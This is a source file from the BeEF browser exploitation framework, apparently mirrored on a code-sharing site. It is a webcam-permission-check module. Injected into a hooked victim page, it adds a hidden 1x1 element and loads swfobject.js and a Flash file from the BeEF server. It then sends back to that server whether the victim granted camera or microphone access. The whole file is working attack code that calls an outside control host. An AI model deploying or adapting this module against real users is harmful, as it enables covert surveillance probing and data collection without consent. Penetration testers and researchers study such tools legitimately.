Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/webcam_permission_check/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
8
beef.execute(function() {
9
10
11
//These 3 functions [naPermissions() The camera is not available or not supported
12
// yesPermissions() The user is allowing access to the camera / mic
13
// yesPermissions() The user has not allowed access to the camera / mic
14
// Flash will invoke these functions directly.
15
//var js_functions = '<script>function noPermissions() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=The user has not allowed BeEF to access the camera :("); }; function yesPermissions() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=The user has allowed BeEF to access the camera :D"); }; function naPermissions() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Camera not supported / available :/"); }; ';
16
17
//This function is called by swfobject, if if fails to add the flash file to the page
18
19
//js_functions += 'function swfobjectCallback(e) { if(e.success){beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Swfobject successfully added flash object to the victim page");}else{beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Swfobject was not able to add the swf file to the page. This could mean there was no flash plugin installed.");} };</script>';
20
21
//These functions are global so they can accessed by the cameraCheck.swf file
22
23
noPermissions = function() {
24
beef.net.send("<%= @command_url %>",<%= @command_id %>,"result=The user has not allowed BeEF to access the camera :(");
25
}
26
27
yesPermissions = function() {
28
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=The user has allowed BeEF to access the camera :D");
29
}
30
31
naPermissions = function() {
32
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Camera not supported / available :/&unmount=true");
33
}
34
35
//After the swfobject loads the SWF file, this callback sends a status back to BeEF
36
37
var swfobjectCallback = function(e) {
38
if(e.success){
39
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Swfobject successfully added flash object to the victim page");
40
} else {
41
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Swfobject was not able to add the swf file to the page. This could mean there was no flash plugin installed.");
42
}
43
}
44
45
46
//This is the DIV for the flash object
47
48
var body_flash_container = '<div id="main" style="position:absolute;top:150px;left:80px;width:1px;height:1px;opacity:0.8;"></div>';
49
$j('body').append(body_flash_container);
50
51
// Lets execute swfobject.js
52
// If it works, we then run it to embed the swf file into the above div
53
$j.getScript(beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/swfobject.js',function(data,txtStatus,jqxhr) {
54
var flashvars = {};
55
var parameters = {};
56
parameters.scale = "noscale";
57
parameters.wmode = "opaque";
58
parameters.allowFullScreen = "true";
59
parameters.allowScriptAccess = "always";
60
var attributes = {};
61
swfobject.embedSWF(beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/cameraCheck.swf', "main", "1", "1", "9", "expressInstall.swf", flashvars, parameters, attributes, swfobjectCallback);
62
});
63
64
//A library that helps include the swf file
65
//var swfobject_script = '<script type="text/javascript" src="'+beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/swfobject.js"></script>'
66
67
//This is the javascript that actually calls the swfobject library to include the swf file
68
//var include_script = '<script>var flashvars = {}; var parameters = {}; parameters.scale = "noscale"; parameters.wmode = "opaque"; parameters.allowFullScreen = "true"; parameters.allowScriptAccess = "always"; var attributes = {}; swfobject.embedSWF("'+beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/cameraCheck.swf", "main", "1", "1", "9", "expressInstall.swf", flashvars, parameters, attributes, swfobjectCallback);</script>';
69
70
71
//Add flash content
72
//$j('body').append(js_functions, swfobject_script, body_flash_container, include_script);
73
74
});
75
76
77
78
79
80
81